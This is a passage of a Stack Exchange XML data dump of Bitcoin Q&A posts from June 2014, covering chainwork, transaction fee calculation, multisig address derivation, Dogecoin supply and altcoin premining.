else's.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="12034" LastEditDate="2014-06-09T16:57:37.227" LastActivityDate="2014-06-09T16:57:37.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26869" PostTypeId="1" AcceptedAnswerId="26894" CreationDate="2014-06-09T17:28:04.237" Score="12" ViewCount="7774" Body="&lt;p&gt;If I run the RPC call &lt;code&gt;getBlock&lt;/code&gt; on the bitcoin-qt client it gives me field called &lt;code&gt;chainwork&lt;/code&gt; containing a hash. I can't find any information what this value is about.&lt;/p&gt;&#xA;&lt;p&gt;Request:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;getblock 0000000000000000073dacdd0178da5158bd78c543fbc79bd0dacf56a2021bcc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&lt;pre class=&quot;lang-json prettyprint-override&quot;&gt;&lt;code&gt;{&#xA;    &amp;quot;hash&amp;quot;: &amp;quot;0000000000000000073dacdd0178da5158bd78c543fbc79bd0dacf56a2021bcc&amp;quot;,&#xA;    &amp;quot;confirmations&amp;quot;: 1,&#xA;    &amp;quot;size&amp;quot;: 182400,&#xA;    &amp;quot;height&amp;quot;: 304962,&#xA;    &amp;quot;version&amp;quot;: 2,&#xA;    &amp;quot;merkleroot&amp;quot;: &amp;quot;b144b39759d4669cb92ca8b9084d68d1f05f1e28e16887bf062f37e3b5f79fd2&amp;quot;,&#xA;    &amp;quot;tx&amp;quot;: [&#xA;        &amp;quot;3edc72d280edd0a7719670a5f0c97e8991a5bcfcfcfa77620969643f04d021a3&amp;quot;,&#xA;        &amp;quot;841840f8a7863c8fb99e26975d45ff9151b0a5f021fb479aa9ff91a138d3cd3f&amp;quot;,&#xA;        &amp;quot;a01af3f203313cdab4e8977cd2dccbd416872c9d9f76968fc7009f47ad630199&amp;quot;&#xA;    ],&#xA;    &amp;quot;time&amp;quot;: 1402334610,&#xA;    &amp;quot;nonce&amp;quot;: 2351732739,&#xA;    &amp;quot;bits&amp;quot;: &amp;quot;185d859a&amp;quot;,&#xA;    &amp;quot;difficulty&amp;quot;: 11756551916.903952,&#xA;    &amp;quot;chainwork&amp;quot;: &amp;quot;0000000000000000000000000000000000000000000086859f7a841475b236fd&amp;quot;,&#xA;    &amp;quot;previousblockhash&amp;quot;: &amp;quot;000000000000000031132699bcb917e7e6ce3cc6cce1f20b6ad36a437436c821&amp;quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17113" LastEditorUserId="123594" LastEditDate="2023-05-17T13:55:33.207" LastActivityDate="2023-05-17T13:55:33.207" Title="What is chainwork?" Tags="|bitcoind|json-rpc|block|best-chain|chainwork|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26870" PostTypeId="2" ParentId="26856" CreationDate="2014-06-09T19:54:31.620" Score="2" Body="&lt;p&gt;The value of a difficulty one share is roughly the block reward divided by the difficulty. Right now, the block reward is 25 and the difficulty is 11,756,551,916. So 10,000 shares (assuming they're difficulty one Bitcoin shares) is worth about 0.000021 BTC.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-06-09T19:54:31.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26871" PostTypeId="1" CreationDate="2014-06-09T20:00:44.653" Score="2" ViewCount="457" Body="&lt;p&gt;I am having difficulty working out how to work out a transaction fee.  I've read the theory, but don't understand how to get the values to put the theory to practice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone please help me work this out step by step?  If I want to send 0.05XBT from: &lt;code&gt;mvDLEEymmEijZXyrrNRL3aPMhH8q2m8vE1&lt;/code&gt; to &lt;code&gt;mxgxQ52kYRVPfLeYpXugkCAGhjLfUaZk3g&lt;/code&gt;.  How do I work out the transaction fee?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your answer could use these public keys so I can try them out based on the instructions in your answer, I would really appreciate that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using bitcoin-qt's command line, I have the following details:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;listunspent [ { &quot;txid&quot; :&#xA;  &quot;9df9c897af413505c02f158a7421b39000b40248a3bb826831ff458aee84f8ca&quot;,&#xA;  &quot;vout&quot; : 1, &quot;address&quot; : &quot;mvDLEEymmEijZXyrrNRL3aPMhH8q2m8vE1&quot;,&#xA;  &quot;account&quot; : &quot;From &lt;a href=&quot;http://faucet.xeno-genesis.com/&quot; rel=&quot;nofollow&quot;&gt;http://faucet.xeno-genesis.com/&lt;/a&gt;&quot;, &quot;scriptPubKey&quot; :&#xA;  &quot;76a914a134b5919d09350f6232260ed1313f73ac6b7bae88ac&quot;, &quot;amount&quot; :&#xA;  1.19994817, &quot;confirmations&quot; : 364 } ]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then I could use this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;createrawtransaction&#xA;  '[{&quot;txid&quot;:&quot;d3be60aaf98ef888a9137928fa405806cd2e0c762f5205b3d9ba3e6ad26a5262&quot;,&quot;vout&quot;:1}]'&#xA;  '{&quot;mxgxQ52kYRVPfLeYpXugkCAGhjLfUaZk3g&quot;:0.05,&quot;mvDLEEymmEijZXyrrNRL3aPMhH8q2m8vE1&quot;:1.14974817&#xA;  }'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But this &quot;assumes&quot; a 0.0002XBT fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can then sign the transaction like so:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;signrawtransaction&#xA;  '010000000162526ad26a3ebad9b305522f760c2ecd065840fa287913a988f88ef9aa60bed30100000000ffffffff02404b4c00000000001976a914bc5e62709adc296640dfed6871f0ebff5a7d11c588ac6160da06000000001976a914a134b5919d09350f6232260ed1313f73ac6b7bae88ac00000000'&#xA;  '[{&quot;txid&quot; :&#xA;  &quot;d3be60aaf98ef888a9137928fa405806cd2e0c762f5205b3d9ba3e6ad26a5262&quot;,&quot;vout&quot;&#xA;  : 1,&quot;scriptPubKey&quot; :&#xA;  &quot;76a914a134b5919d09350f6232260ed1313f73ac6b7bae88ac&quot;}]' '[&quot;private key&#xA;  here&quot;]'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Which gives me this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;010000000162526ad26a3ebad9b305522f760c2ecd065840fa287913a988f88ef9aa60bed3010000006b483045022100f447788e6b40a1f8bd22b084c8507a7710bd5c8cb33b08082c308a7a0edc86d402204024287053715bc096e56744e45683bb63b32ebe56a2f2070fd318216512641d012103ca4eab4b394090c9f4c10b6a9c2674dfc14c7dee55b6d3eb72c4263fc325c37effffffff02404b4c00000000001976a914bc5e62709adc296640dfed6871f0ebff5a7d11c588ac6160da06000000001976a914a134b5919d09350f6232260ed1313f73ac6b7bae88ac00000000&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Which is 452 bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apparently I am supposted count the number of inputs and outputs too?  I understand that the fee can get more complex based on the age of the transaction and if I send a very small amount.  But just for example purposes, How would I work out the transaction fee using the 2 public keys above if I wanted to send 0.05XBT? so I can subtract the fee from the change when using the &lt;code&gt;createrawtransaction&lt;/code&gt; command in bitcoin-qt?&lt;/p&gt;&#xA;" OwnerUserId="4823" LastActivityDate="2014-06-10T12:18:42.837" Title="Help me work out a transaction fee" Tags="|bitcoind|bitcoin-core|transaction-fees|raw-transaction|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26872" PostTypeId="1" AcceptedAnswerId="26878" CreationDate="2014-06-09T23:18:23.210" Score="3" ViewCount="268" Body="&lt;p&gt;I'm just getting a handle on multisig, so sorry about that. I don't really get how, (what operations are performed) on the inputs (3 public keys, right?) to generate a multisig address. Or is it some simple concatenation operation?&lt;/p&gt;&#xA;" OwnerUserId="16926" LastActivityDate="2014-06-10T01:49:05.317" Title="What cryptographic operations are performed on the 3 public keys to produce a multisig (2 of 3) address?" Tags="|multi-signature|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26878" PostTypeId="2" ParentId="26872" CreationDate="2014-06-10T01:49:05.317" Score="4" Body="&lt;p&gt;To better understand multisig addresses and transactions, it's useful to read &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0013.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP 0013&lt;/a&gt; and create a multisig address using &lt;a href=&quot;https://coinb.in/multisig/&quot; rel=&quot;nofollow&quot;&gt;https://coinb.in/multisig/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I want to create a multisig that requires signatures from 2 of the 3 following pubkeys:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;04c96a8b79aff49f36766b7827308bb5d6dc031e4e9112b785201a9a61821d2a336dbb7fa69f44c2dc76dee8fa7ed8fee2958f4a86a3dbb7ebf3eeb790cd464db9&#xA;04fd6c4db8841f7370a0cdc464a58b3e2a0da5b6566e0502a9cf583360bcdd16e8453a0a8da0fba0ff26e40c1f8c55f8cd0ad61988b7d4418b504264be8a9cef59&#xA;04c41b31403f24ef79e9c7dcfb67ea0341fcb986e9555123b022258a92d2bade3674574bf3de7affe93706399d9eb76d04f05213cda8b8e8bb8541533c39f244a9&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The resulting multisig script is this: (broken down by OP code)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;52 OP_2, meaning you need two signatures&#xA;41 push 65 bytes&#xA;04c96a8b79aff49f36766b7827308bb5d6dc031e4e9112b785201a9a61821d2a336dbb7fa69f44c2dc76dee8fa7ed8fee2958f4a86a3dbb7ebf3eeb790cd464db9&#xA;41 push 65 bytes&#xA;04fd6c4db8841f7370a0cdc464a58b3e2a0da5b6566e0502a9cf583360bcdd16e8453a0a8da0fba0ff26e40c1f8c55f8cd0ad61988b7d4418b504264be8a9cef59&#xA;41 push 65 bytes&#xA;04c41b31403f24ef79e9c7dcfb67ea0341fcb986e9555123b022258a92d2bade3674574bf3de7affe93706399d9eb76d04f05213cda8b8e8bb8541533c39f244a9&#xA;53 OP_3, meaning there are three public keys&#xA;ae OP_CHECKMULTISIG described at https://en.bitcoin.it/wiki/Script&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the page tells me the address for it is &lt;code&gt;3K6sEDqXaSFKjcq8PUKNsGbxXjBR8QmBWr&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hash of this script, along with a version number (to make the starting character &lt;code&gt;3&lt;/code&gt;) and checksum (to ensure that a misentering of data is not likely to go through) is what makes up the multisig address:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;base58-encode: [one-byte version][20-byte hash][4-byte checksum]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can verify this by comparing the hash160 value shown at &lt;a href=&quot;https://blockchain.info/address/3K6sEDqXaSFKjcq8PUKNsGbxXjBR8QmBWr&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/address/3K6sEDqXaSFKjcq8PUKNsGbxXjBR8QmBWr&lt;/a&gt; and the result of the following short C# program: they are both &lt;code&gt;befcdceed8cbf0d74d9d58bf8e30ce027e8a9b56&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var data = new byte[] { 0x52, 0x41, 0x04, 0xc9, 0x6a, 0x8b, 0x79, 0xaf, 0xf4, 0x9f, 0x36, 0x76, 0x6b, 0x78, 0x27, 0x30, 0x8b, 0xb5, 0xd6, 0xdc, 0x03, 0x1e, 0x4e, 0x91, 0x12, 0xb7, 0x85, 0x20, 0x1a, 0x9a, 0x61, 0x82, 0x1d, 0x2a, 0x33, 0x6d, 0xbb, 0x7f, 0xa6, 0x9f, 0x44, 0xc2, 0xdc, 0x76, 0xde, 0xe8, 0xfa, 0x7e, 0xd8, 0xfe, 0xe2, 0x95, 0x8f, 0x4a, 0x86, 0xa3, 0xdb, 0xb7, 0xeb, 0xf3, 0xee, 0xb7, 0x90, 0xcd, 0x46, 0x4d, 0xb9, 0x41, 0x04, 0xfd, 0x6c, 0x4d, 0xb8, 0x84, 0x1f, 0x73, 0x70, 0xa0, 0xcd, 0xc4, 0x64, 0xa5, 0x8b, 0x3e, 0x2a, 0x0d, 0xa5, 0xb6, 0x56, 0x6e, 0x05, 0x02, 0xa9, 0xcf, 0x58, 0x33, 0x60, 0xbc, 0xdd, 0x16, 0xe8, 0x45, 0x3a, 0x0a, 0x8d, 0xa0, 0xfb, 0xa0, 0xff, 0x26, 0xe4, 0x0c, 0x1f, 0x8c, 0x55, 0xf8, 0xcd, 0x0a, 0xd6, 0x19, 0x88, 0xb7, 0xd4, 0x41, 0x8b, 0x50, 0x42, 0x64, 0xbe, 0x8a, 0x9c, 0xef, 0x59, 0x41, 0x04, 0xc4, 0x1b, 0x31, 0x40, 0x3f, 0x24, 0xef, 0x79, 0xe9, 0xc7, 0xdc, 0xfb, 0x67, 0xea, 0x03, 0x41, 0xfc, 0xb9, 0x86, 0xe9, 0x55, 0x51, 0x23, 0xb0, 0x22, 0x25, 0x8a, 0x92, 0xd2, 0xba, 0xde, 0x36, 0x74, 0x57, 0x4b, 0xf3, 0xde, 0x7a, 0xff, 0xe9, 0x37, 0x06, 0x39, 0x9d, 0x9e, 0xb7, 0x6d, 0x04, 0xf0, 0x52, 0x13, 0xcd, 0xa8, 0xb8, 0xe8, 0xbb, 0x85, 0x41, 0x53, 0x3c, 0x39, 0xf2, 0x44, 0xa9, 0x53, 0xae, };&#xA;var sha256 = System.Security.Cryptography.HashAlgorithm.Create(&quot;SHA256&quot;);&#xA;var ripe = System.Security.Cryptography.HashAlgorithm.Create(&quot;RIPEMD160&quot;);&#xA;Console.WriteLine(string.Join(&quot;&quot;, ripe.ComputeHash(sha256.ComputeHash(data)).Select(x=&amp;gt;x.ToString(&quot;X2&quot;))).ToLower());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then when you want to pay that address, you use &lt;a href=&quot;https://en.bitcoin.it/wiki/Transactions#Pay-to-Script-Hash&quot; rel=&quot;nofollow&quot;&gt;pay-to-script-hash&lt;/a&gt; output instead of a pay-to-pubkey-hash.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastActivityDate="2014-06-10T01:49:05.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26880" PostTypeId="2" ParentId="20999" CreationDate="2014-06-10T03:42:10.010" Score="1" Body="&lt;p&gt;The following can help:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd leveldb&#xA;make clean&#xA;cd ..&#xA;make -f makefile.unix USE_UPNP=-&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18156" LastActivityDate="2014-06-10T03:42:10.010" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26881" PostTypeId="1" AcceptedAnswerId="26990" CreationDate="2014-06-10T04:13:36.740" Score="3" ViewCount="322" Body="&lt;p&gt;I'm trying to check to see if the variables are being set correctly by the client and being received correctly by me.&#xA;I'm new to proto buffs and django and my code below doesn't seem to be working.&#xA;I'm using bitcoin 0.9&#xA;I'm trying to capture a refund address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In views:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from project import payments_pb2&#xA;def protoresponse(request):&#xA;    xpo = payments_pb2.Payment.ParseFromString(request)&#xA;    returnaddress = xpo.refund_to&#xA;    transactions = xpo.transactions&#xA;    memo = xpo.memo&#xA;&#xA;    xpa = payments_pb2.PaymentACK&#xA;    xpa.payment = xpo.SerializeToString()&#xA;    xpa.memo = 'success'&#xA;    return HttpResponse(xpa.SerializeToString(), content_type=&quot;application/octet-stream&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any pointers would be greatly appreciated :)&lt;/p&gt;&#xA;" OwnerUserId="15533" LastEditorUserId="2306" LastEditDate="2014-12-13T05:50:47.700" LastActivityDate="2014-12-13T05:50:47.700" Title="How to receive and manipulate a bip 70 payment object in django python?" Tags="|bitcoind|bip70-payment-protocol|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="26882" PostTypeId="1" CreationDate="2014-06-10T04:42:50.177" Score="4" ViewCount="9900" Body="&lt;p&gt;As far as I know, Dogecoin will only have 100,000,000,000 coins in total. But how can the supply of coins remain uncapped? How could it produce unlimited dogecoins? Is there any specific skill to make the block provide unlimited coins?&lt;/p&gt;&#xA;" OwnerUserId="18157" LastEditorUserId="5406" LastEditDate="2014-06-12T21:33:45.917" LastActivityDate="2015-09-15T00:50:28.377" Title="How could the dogecoin increase the limit of money supply?" Tags="|block|dogecoin|reward-schedule|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="26883" PostTypeId="2" ParentId="26882" CreationDate="2014-06-10T07:43:48.720" Score="0" Body="&lt;p&gt;Bitcoin has a limited amount of coins too. They do that because the block reward is halved every 210000 blocks. If Dogecoin have something similar, then there is also a limited amount of Dogecoin. If you want unlimited amount of a certain cryptocoin (which is pointed out by Recall as something you don't want), you can for example not half the block reward.Then you'll get infinite amount of coins over time. However, this can &lt;strong&gt;NOT&lt;/strong&gt; be done for a coin as bitcoin or dogecoin, as they already have a limited supply. It cannot be changed somehow. You have to make your own coin without limit (thanks Greg Hewgill)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also the question &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/161/how-many-bitcoins-will-there-eventually-be&quot;&gt;here&lt;/a&gt;, and especially the following equation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tTVgM.gif&quot; alt=&quot;latex formula&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15412" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2014-06-11T08:25:51.503" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26884" PostTypeId="2" ParentId="25398" CreationDate="2014-06-10T07:44:57.187" Score="1" Body="&lt;p&gt;Only if you manually select the imported key's address as a change address in Coin Control.&lt;/p&gt;&#xA;" OwnerUserId="18158" LastActivityDate="2014-06-10T07:44:57.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26887" PostTypeId="2" ParentId="26871" CreationDate="2014-06-10T12:08:30.180" Score="2" Body="&lt;p&gt;I can calculate the &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees#Technical_info&quot; rel=&quot;nofollow&quot;&gt;priority&lt;/a&gt; of the transaction (527 confirmations currently, ~452 bytes):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;119994817 * 527 / 452 = 139,905,461&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since this is over the minimum of 57,600,000 and meets the other &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees&quot; rel=&quot;nofollow&quot;&gt;rules for free transactions&lt;/a&gt;: namely, that the transaction is under 1000 bytes and has no outputs under 0.01 BTC, this transaction can be free. You do not need to include a transaction fee: make the sum of the outputs equal the input amount exactly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your transaction didn't meet the requirements for a free transaction, or if you don't wish it to be treated as a free transaction (which have some limits in transmitting, etc. that &lt;em&gt;might&lt;/em&gt; slow down their inclusion in a block), you would need to include 0.0001 BTC transaction fee per thousand bytes (e.g. up to 1000 bytes is 0.0001, 1001-2000 bytes is 0.0002, etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(this is assuming the testnet has the same rules for transaction fees as Bitcoin's mainnet)&lt;/p&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="12034" LastEditDate="2014-06-10T12:18:42.837" LastActivityDate="2014-06-10T12:18:42.837" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26892" PostTypeId="1" AcceptedAnswerId="26893" CreationDate="2014-06-10T15:20:05.577" Score="2" ViewCount="1966" Body="&lt;p&gt;I thought my wallet would ask me for a tx fee, as it always does, it just sent the amount without any tx fee at all. Now it seems to be stuck in some sort of bitcoin limbo. It's been two hours now, and not a single confirmation has happened.&lt;/p&gt;&#xA;" OwnerUserId="14633" LastActivityDate="2014-06-10T15:30:51.487" Title="How long would it take for a transaction with 0 fees to be confirmed six times?" Tags="|transaction-fees|confirmations|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26893" PostTypeId="2" ParentId="26892" CreationDate="2014-06-10T15:30:51.487" Score="2" Body="&lt;p&gt;Dont worry about that. If you check blockchain.info at your transaction you will see it has medium-priority, which is the reason why it was send without transaction fees:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Transaction_fees&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I normaly send transactions without fees, it can take some time. For me it was no longer than 6-12 hour until it got included into a block. If it got inlcuded (1 confirmation) it will get confirmed again every block. So after it was included in the chain you only need to wait 60 minutes for you 6 confirmations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your transactions need to be send quickly you should add some optional fees on them, which can be set in the options of bitcoin-qt (if that is your wallet).&lt;/p&gt;&#xA;" OwnerUserId="17113" LastActivityDate="2014-06-10T15:30:51.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26894" PostTypeId="2" ParentId="26869" CreationDate="2014-06-10T15:38:10.097" Score="17" Body="&lt;p&gt;The chainwork value is really just the total amount of work in the chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is the total number of hashes that are expected to have been necessary to produce the current chain, in hexadecimal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Converting &lt;code&gt;0000000000000000000000000000000000000000000086859f7a841475b236fd&lt;/code&gt; to decimal, you get 635262017308958427068157, or 635262 exahashes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At june 2014 hash rates (100 petahash/s), it would require only 73 days to perform that many hashes, while in reality it took over 5 years. The hash rate has been going up so fast however that the impact of more than a few months ago is negligible.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-06-10T15:38:10.097" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26895" PostTypeId="2" ParentId="5272" CreationDate="2014-06-10T15:38:29.457" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What is the correct way for an Etsy shop owner to sell their items using bitcoin?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've written a detailed guide on &lt;a href=&quot;https://bitcoinhelp.net/get/accept-bitcoin-for-business/bitcoin-etsy&quot; rel=&quot;nofollow&quot;&gt;how to accept Bitcoin payments on Etsy&lt;/a&gt; - it includes stuff like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;how to avoid violating Etsy's policies when accepting Bitcoin&lt;/li&gt;&#xA;&lt;li&gt;pricing customers' orders in Bitcoin using the current exchange rate&lt;/li&gt;&#xA;&lt;li&gt;using an optional payment processor to convert Bitcoin payments directly to cash&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="16812" LastActivityDate="2014-06-10T15:38:29.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26896" PostTypeId="1" CreationDate="2014-06-10T16:53:02.550" Score="2" ViewCount="4390" Body="&lt;p&gt;Well, the title says it all.&#xA;I have  a transaction hash and I want to find this transaction in the blockchain.&#xA;I am working with bitcoinj.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am probably missing something very obvious here, but I cannot find how to do it. &lt;/p&gt;&#xA;" OwnerUserId="14360" LastEditorUserId="14360" LastEditDate="2014-06-10T17:16:15.567" LastActivityDate="2014-07-10T18:29:51.023" Title="How to find a block containing a transaction using transaction hash only?" Tags="|transactions|blockchain|block|bitcoinj|transaction-id|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26897" PostTypeId="2" ParentId="26896" CreationDate="2014-06-10T18:05:31.877" Score="1" Body="&lt;p&gt;The transaction does not know the block in which it was integrated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#tx&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Protocol_specification#tx&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many services around like blockchain.info or blockexplorer.com which stores the blockchain and have indexed all transactions, which you can search. &lt;/p&gt;&#xA;" OwnerUserId="17113" LastActivityDate="2014-06-10T18:05:31.877" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="26899" PostTypeId="1" AcceptedAnswerId="26900" CreationDate="2014-06-10T20:19:47.080" Score="1" ViewCount="74" Body="&lt;p&gt;I want to be able to specify which bitcoin miner receives the fee. Is that even possible?&lt;/p&gt;&#xA;" OwnerUserId="18168" LastEditorUserId="5406" LastEditDate="2016-04-25T19:13:20.660" LastActivityDate="2016-04-25T19:13:20.660" Title="Can you create a bitcoin transaction where you specify the miner?" Tags="|transaction-fees|mining-theory|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26900" PostTypeId="2" ParentId="26899" CreationDate="2014-06-10T20:28:20.797" Score="2" Body="&lt;p&gt;Not directly. You could do it by transmitting the transaction only to the miner in question, and making sure that his software will transmit the transaction to no one else (note that standard clients don't work this way; they're happy to retransmit transactions quickly across the whole network). This would mean that only this miner is trying to include it in a block, so he's the only one that can get the transaction fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this means it might take a prohibitively long time for this &quot;transfer&quot; to go through, since you have to wait for that miner (or pool) to find a block. In the case of a pool, the transaction fee goes to the whole pool, not a certain miner in the pool (unless you have some off-blockchain communication).&lt;/p&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="12034" LastEditDate="2014-06-10T21:55:31.233" LastActivityDate="2014-06-10T21:55:31.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26901" PostTypeId="1" CreationDate="2014-06-10T23:48:07.853" Score="2" ViewCount="179" Body="&lt;p&gt;I'm looking for more information on how to actually premine a coin. I would be grateful if someone can show me an example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I've tried so far does and not work, I'm basically mining the first block(not the genesis one) and it has a big reward but when I change the reward to a smaller one the blockchain is not valid anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for any kind of tips documentation references.&lt;/p&gt;&#xA;" OwnerUserId="18170" LastEditorUserId="5406" LastEditDate="2016-04-10T10:12:01.407" LastActivityDate="2016-04-10T10:12:01.407" Title="Premining documentation?" Tags="|altcoin|mining-reward|altcoin-development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26903" PostTypeId="1" CreationDate="2014-06-11T02:18:08.677" Score="1" ViewCount="299" Body="&lt;p&gt;To roughly calculate transaction send size in bytes we do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;((numberOfInputs*148)+(numberOfOutputs*34)+10)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;We want to make a transaction using two inputs of 0.01BTC (Amount to send = 0.015BTC, change left over = 0.005BTC). Number of outputs in this case will be two; as we have two inputs, one of which we are 'tearing-in-two' creating change that will be sent back to us (we are the second output so the change is not lost).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So to calculate the fee&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;We calculate the value of each input in BTC multiplied by the age of the input in blocks &lt;/li&gt;&#xA;&lt;li&gt;Add up all the answers into a total priority&lt;/li&gt;&#xA;&lt;li&gt;Divide the priority by the size of the transaction in bytes&lt;/li&gt;&#xA;&lt;li&gt;If this gives a number less than 0.576 then the transaction requires a fee&lt;/li&gt;&#xA;&lt;li&gt;Also if the transaction size exceeds 1000 bytes it requires a fee&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If both inputs were &lt;strong&gt;1000&lt;/strong&gt; conformations old, a fee would be required:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;((0.01*1000) + (0.01*1000)) = 20 //priority&#xA;((2*148)+(2*34)+10) = 374 //bytes&#xA;20 / 374 = 0.053475935828877004&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If both inputs were &lt;strong&gt;11000&lt;/strong&gt; conformations old, a fee would &lt;strong&gt;not&lt;/strong&gt; be required:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;((0.01*11000) + (0.01*11000)) = 220 //priority&#xA;((2*148)+(2*34)+10) = 374 //bytes&#xA;220 / 374 = 